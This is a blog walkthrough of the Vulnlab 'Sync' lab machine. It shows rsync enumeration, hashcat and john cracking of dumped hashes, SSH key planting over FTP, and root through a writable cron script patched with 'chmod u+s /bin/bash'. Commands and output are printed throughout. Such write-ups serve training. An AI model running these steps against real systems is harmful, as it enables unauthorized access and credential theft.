Vulnlab: Sync

Posted on Sep 5, 2023

Overview

  1. Identify and exploit the rsync service to get the source code and database file
  2. Get the hashes and learn how they were generated
  3. Crack the custom hashes with hashcat
  4. Authenticate to the FTP service and upload our public key
  5. Escalate privileges horizontally to get user.txt
  6. Get shadow file that was zipped incorrectly
  7. Crack the password with john to login as sa
  8. sa user can write the backup.sh file that is executed by root frequently
  9. Overwrite the file to get root

Nmap

--- vulnlabs/easy-sync » nmap -sV -sC 10.10.92.76                                                                                                                                   130 ↵
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-05 15:10 EDT
Nmap scan report for 10.10.92.76
Host is up (0.17s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 3.0.5
22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a5:dc:e8:20:f4:75:7d:9f:8a:73:1e:b9:ad:35:07:bf (ECDSA)
|_  256 38:74:d2:71:9d:82:97:c2:0e:1a:bb:f8:62:fd:3d:ed (ED25519)
80/tcp  open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Login
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
873/tcp open  rsync   (protocol version 31)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.48 seconds
  • -sV: Enumerate versions from the services
  • -sC: Run some nmap’s default scripts

Abusing Rsync Service

Service rsync seems interesting, this great cheat sheet from hacktricks is enough to make us have access to the source code.

--- vulnlabs/easy-sync » rsync -av --list-only rsync://10.10.92.76/        
httpd          	web backup
--- vulnlabs/easy-sync » rsync -av rsync://10.10.92.76/httpd/ web\ backup/
receiving incremental file list
created directory web backup
./
db/
db/site.db
migrate/
www/
www/dashboard.php
www/index.php
www/logout.php

sent 123 bytes  received 16,850 bytes  6,789.20 bytes/sec
total size is 16,426  speedup is 0.97

Cracking Custom Hashes

We can use sqlitebrowser to view the .db file we just got

sqlite3

We spot two usernames and hashed passwords:

  • admin:7658a2741c9df3a97c819584db6e6b3c
  • triss:a0de4d7f81676c3ea9eabcadfd2536f6

Taking a closer look at the source code, we can see how those hashes were generated:

<?php
session_start();
$secure = "6c4972f3717a5e881e282ad3105de01e"; //Constant

if (isset($_SESSION['username'])) {
    header('Location: dashboard.php');
    exit();
}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $hash = md5("$secure|$username|$password");   //Generating the Hash
    $db = new SQLite3('../db/site.db');
    $result = $db->query("SELECT * FROM users WHERE username = '$username' AND password= '$hash'"); //SQL Injection
    $row = $result->fetchArray(SQLITE3_ASSOC);
    if ($row) {
        $_SESSION['username'] = $row['username'];
        header('Location: dashboard.php');
        exit();
    } else {
        $error_message = 'Invalid username or password.';
    }
}

We discover that the hashes we just saw are composed by three main parts separated by a |:

  1. $secure: a constant of value 6c4972f3717a5e881e282ad3105de01e
  2. $username: could be admin or triss
  3. $password: The actual password

An example would look like: md5(6c4972f3717a5e881e282ad3105de01e|admin|password)

Now we have everything we need to crack it using hashcat:

let’s create a file containing the hashes in this format:

a0de4d7f81676c3ea9eabcadfd2536f6:6c4972f3717a5e881e282ad3105de01e|triss|
7658a2741c9df3a97c819584db6e6b3c:6c4972f3717a5e881e282ad3105de01e|admin|

and run hashcat with mode 20 ($salt.$pass)

--- vulnlabs/easy-sync » hashcat -a 0 -m 20 hashes.txt /usr/share/wordlists/rockyou.txt --show
a0de4d7f81676c3ea9eabcadfd2536f6:6c4972f3717a5e881e282ad3105de01e|triss|:gerald

If you are running for the first time remove the --show flag.

good, we find the password for triss, gerald. Sadly we are not able to authenticate via ssh due to password authentication being disabled.

Uploading Our Public Key

--- vulnlabs/easy-sync » ssh triss@10.10.83.249
triss@10.10.83.249: Permission denied (publickey).

Looking back to our nmap scan, we also had a FTP service running:

--- vulnlabs/easy-sync » ftp 10.10.83.249                                                                                                                                           255Connected to 10.10.83.249.
220 (vsFTPd 3.0.5)
Name (10.10.83.249:kali): triss
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||32670|)
150 Here comes the directory listing.
drwxr-x---    2 1003     1003         4096 Apr 21 12:08 .
drwxr-x---    2 1003     1003         4096 Apr 21 12:08 ..
lrwxrwxrwx    1 0        0               9 Apr 21 12:08 .bash_history -> /dev/null
-rw-r--r--    1 1003     1003          220 Apr 19 19:37 .bash_logout
-rw-r--r--    1 1003     1003         3771 Apr 19 19:37 .bashrc
-rw-r--r--    1 1003     1003          807 Apr 19 19:37 .profile
226 Directory send OK.

We appear to be inside triss’ home directory, which means that we can upload our own public key inside the .ssh directory.

So, all we need to do is:

  1. Generate a ssh keypair with ssh-keygen
  2. Create the .ssh folder inside triss’ home folder
  3. Upload an authorized_keys file with our public key inside
  4. Authenticate with our private key recently generated

If you just type ssh-keygen, a key pair will be created inside the .ssh folder in your home folder by default with a name of id_rsa.

--- vulnlabs/easy-sync » cat ~/.ssh/id_rsa.pub > authorized_keys
--- vulnlabs/easy-sync » cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC07/jyHsRn7J25aKqkCzdxjft8uliVMHTgnKS9PF5WSwxCzhURfOkHFRqigHYhlCXUxIHNu3p3ajsxUN7rVDAjos1ykJ89YjtzHj+g7DQAcLUDh9jRLPa2iZx8kMMXPougehq5slgeUiiCTAlaeStTYb3Au5qD5e4NKT9sOf7ZK6mrHQufW2IrHex6PXAFLsR8/MPGgPv4Hb2zZzevTDSs9muzUW725F06//EIuMK+wwICfZE477oxGEZJ3QNY3szadeDhc1QaWlZW2rkHeTuCBO5nUAiWOA3iqb2QEwfdFWZOabS9qYy07gzOS+IKVGv6IPlEAw44Of/9DCeYsx3AI5oyiZlTZol9ZUUcJVG2q/z+zmXyQVSgU8YZGkBnvwPpFkdrSaiWGOTOqcbeWZcZawwGhFJzA6pI4JkuZcrbewJBng1IPI8teVRPh/M1boz4HVDjoKkmdplTMhkhcpcj7m94BL97zNW0ivmt3V6UAh5pycjIh9BKG6id36iti4c= kali@kali

Upload our pub key:

ftp> mkdir .ssh
257 "/.ssh" created
ftp> cd .ssh
250 Directory successfully changed.
ftp> put authorized_keys
local: authorized_keys remote: authorized_keys
229 Entering Extended Passive Mode (|||46667|)
150 Ok to send data.
100% |*********************************************************************************************************************************************|   563        4.66 MiB/s    00:00 ETA
226 Transfer complete.
563 bytes sent in 00:00 (1.57 KiB/s)

Now we can just ssh in with our private key

--- vulnlabs/easy-sync » ssh triss@10.10.83.249
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.19.0-1023-aws x86_64)

 <=========================snip===========================>

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

triss@ip-10-10-200-238:~$ whoami
triss

User.txt

Initial enumeration revealed that the user jennifer is using the same passaword as triss

triss@ip-10-10-200-238:~$ su jennifer
Password: 
jennifer@ip-10-10-200-238:/home/triss$ cd ..
jennifer@ip-10-10-200-238:/home$ ls
httpd  jennifer  sa  triss  ubuntu
jennifer@ip-10-10-200-238:/home$ cd jennifer/
jennifer@ip-10-10-200-238:~$ ls -la
total 24
drwxr-x--- 2 jennifer jennifer 4096 Apr 21 12:08 .
drwxr-xr-x 7 root     root     4096 Apr 19 19:42 ..
lrwxrwxrwx 1 root     root        9 Apr 21 12:08 .bash_history -> /dev/null
-rw-r--r-- 1 jennifer jennifer  220 Apr 19 19:42 .bash_logout
-rw-r--r-- 1 jennifer jennifer 3771 Apr 19 19:42 .bashrc
-rw-r--r-- 1 jennifer jennifer  807 Apr 19 19:42 .profile
-rw-r--r-- 1 jennifer jennifer   37 Apr 19 19:40 user.txt
jennifer@ip-10-10-200-238:~$ cat user.txt 
VL{bcf8<snip>a2db}
jennifer@ip-10-10-200-238:~$ 

Cracking Shadow Credentials

Investigating the / path, we see a non-default folder called backup

jennifer@ip-10-10-200-238:/backup$ ls -la
total 128
drwxr-xr-x  2 root root 4096 Sep  6 00:30 .
drwxr-xr-x 20 root root 4096 Sep  6 00:01 ..
-rw-r--r--  1 root root 5899 Sep  6 00:02 1693958521.zip
-rw-r--r--  1 root root 5899 Sep  6 00:04 1693958641.zip
-rw-r--r--  1 root root 5899 Sep  6 00:06 1693958761.zip
-rw-r--r--  1 root root 5899 Sep  6 00:08 1693958881.zip
-rw-r--r--  1 root root 5899 Sep  6 00:10 1693959001.zip
-rw-r--r--  1 root root 5899 Sep  6 00:12 1693959121.zip
-rw-r--r--  1 root root 5899 Sep  6 00:14 1693959241.zip
-rw-r--r--  1 root root 5899 Sep  6 00:16 1693959361.zip
-rw-r--r--  1 root root 5899 Sep  6 00:18 1693959481.zip
-rw-r--r--  1 root root 5899 Sep  6 00:20 1693959601.zip
-rw-r--r--  1 root root 5899 Sep  6 00:22 1693959721.zip
-rw-r--r--  1 root root 5899 Sep  6 00:24 1693959841.zip
-rw-r--r--  1 root root 5899 Sep  6 00:26 1693959961.zip
-rw-r--r--  1 root root 5899 Sep  6 00:28 1693960081.zip
-rw-r--r--  1 root root 5899 Sep  6 00:30 1693960201.zip

Judging by the frequency these files are being created and who owns them, there is most likely a cron job being run by root every two minutes. Since we can read them, let’s see their content.

We move one of them to the /dev/shm folder and unzip it:

jennifer@ip-10-10-200-238:/dev/shm/tmp/backup$ ls -la
total 12
drwxr-xr-x 3 jennifer jennifer  120 Sep  6 00:02 .
drwxrwxr-x 3 jennifer jennifer   60 Sep  6 00:42 ..
drwxr-xr-x 5 jennifer jennifer  100 Sep  6 00:02 httpd
-rw-r--r-- 1 jennifer jennifer 2131 Sep  6 00:02 passwd
-rw-r--r-- 1 jennifer jennifer  430 Sep  6 00:02 rsyncd.conf
-rw-r----- 1 jennifer jennifer 1487 Sep  6 00:02 shadow

We have access to the shadow file, which holds the user’s hashed passwords. Let’s send it to our machine alongside with the passwd file in order to crack them. (or try)

John the Ripper is our best friend here.

We first run unshadow to put in the correct format

--- vulnlabs/easy-sync » unshadow passwd shadow | tee unshadow.txt
root:$y$j9T$Lvn5CBDJCop7JR9iMerFr1$dfzHPNhyy1jkree7XtvuxhyYziUbVC.
<snip>
sa:$y$j9T$jJFOBCaiGJUmyZZRFn5aG1$7pSWDUlnIOlXInoK4nn3gCEIiMp94x8sXaV.DtTzM6D:1001:1001:,,,:/home/sa:/bin/bash
triss:$y$j9T$cJzLWCatbO1.azxJo6eQN1$I4BAX3vXEOlfg4v/q5tIibnVNR61C6V4QFQEI/Y1pD4:1003:1003:,,,:/home/triss:/bin/bash
jennifer:$y$j9T$DBxmxcNWJlhvgfWCUTbEC0$98T55fRnXftC4XaKZdDJ6IMPsqXP1fA6QVAioJ3CZo7:1004:1004:,,,:/home/jennifer:/bin/bash

Among the options above, only sa and root seem valid candidates, so we can remove the rest

Let’s run

john unshadow.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt

–format=crypt is passwd because one of the hashes is encrypted with yescrypt, more can be seen here

After a while we get

--- vulnlabs/easy-sync » john unshadow.txt --show 
sa:sakura:1001:1001:,,,:/home/sa:/bin/bash
1 password hash cracked, 0 left

sa:sakura

Root.txt

Alright, we can escalate to sa, but that alone does not let read the root flag. Let’s enumerate what kind of files this user can modify or read.

The command below searches in all file system for files that belongs to the user sa and sends every error messages to /dev/null.

sa@ip-10-10-200-238:~$ find / -user "sa" 2>/dev/null
/home/sa
/home/sa/.bashrc
/home/sa/.profile
/home/sa/.bash_logout
/usr/local/bin/backup.sh #This one

A long list is returned to us, but one of the files is very interesting, let’s take a close look.

This first part is indeed what is going on inside that backup folder. Since some actions here require privileged access we can assume that root is running it.

sa@ip-10-10-200-238:~$ cat /usr/local/bin/backup.sh 
#!/bin/bash

mkdir -p /tmp/backup
cp -r /opt/httpd /tmp/backup
cp /etc/passwd /tmp/backup
cp /etc/shadow /tmp/backup
cp /etc/rsyncd.conf /tmp/backup
zip -r /backup/$(date +%s).zip /tmp/backup
rm -rf /tmp/backup

This second information tells us that we can write to this file, so root will execute any commands we want

sa@ip-10-10-200-238:~$ ls -la /usr/local/bin/backup.sh 
-rwxr-xr-x 1 sa sa 211 Apr 19 19:26 /usr/local/bin/backup.sh

Let’s add the command chmod u+s /bin/bash to the end of the file, this will add a sticky bit to the /bin/bash binary, allowing us to elevate privileges freely.

The file looks like this after we modify it

sa@ip-10-10-200-238:~$ cat /usr/local/bin/backup.sh 
#!/bin/bash

mkdir -p /tmp/backup
cp -r /opt/httpd /tmp/backup
cp /etc/passwd /tmp/backup
cp /etc/shadow /tmp/backup
cp /etc/rsyncd.conf /tmp/backup
zip -r /backup/$(date +%s).zip /tmp/backup
rm -rf /tmp/backup

chmod u+s /bin/bash

We wait a little bit and shortly the command will be executed.

sa@ip-10-10-200-238:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash  ## Sticky bit set
sa@ip-10-10-200-238:~$ /bin/bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
VL{1ce85<snip>237e1b}

Extra Mile

Another way to identify the cron job being executed is running pspy. It is a tool that monitors linux processes being executed without the need of a privileged account.

Let’s demonstrate

  • Download a version from the github repo
  • Use scp to send the binary to the remote machine
  • Execute and wait the cron job to run

After a little while we get

2023/09/06 01:18:40 CMD: UID=0     PID=1      | /sbin/init 
2023/09/06 01:20:01 CMD: UID=0     PID=2142   | /usr/sbin/CRON -f -P 
2023/09/06 01:20:01 CMD: UID=0     PID=2141   | /usr/sbin/CRON -f -P 
2023/09/06 01:20:01 CMD: UID=0     PID=2143   | /bin/sh -c /usr/local/bin/backup.sh 
2023/09/06 01:20:01 CMD: UID=0     PID=2144   | /bin/bash /usr/local/bin/backup.sh 
2023/09/06 01:20:01 CMD: UID=0     PID=2145   | /bin/bash /usr/local/bin/backup.sh 
2023/09/06 01:20:01 CMD: UID=0     PID=2146   | /bin/bash /usr/local/bin/backup.sh 
2023/09/06 01:20:01 CMD: UID=0     PID=2147   | /bin/bash /usr/local/bin/backup.sh 
2023/09/06 01:20:01 CMD: UID=0     PID=2149   | date +%s 

Another way of discovering the vulnerable file

That’s all folks ~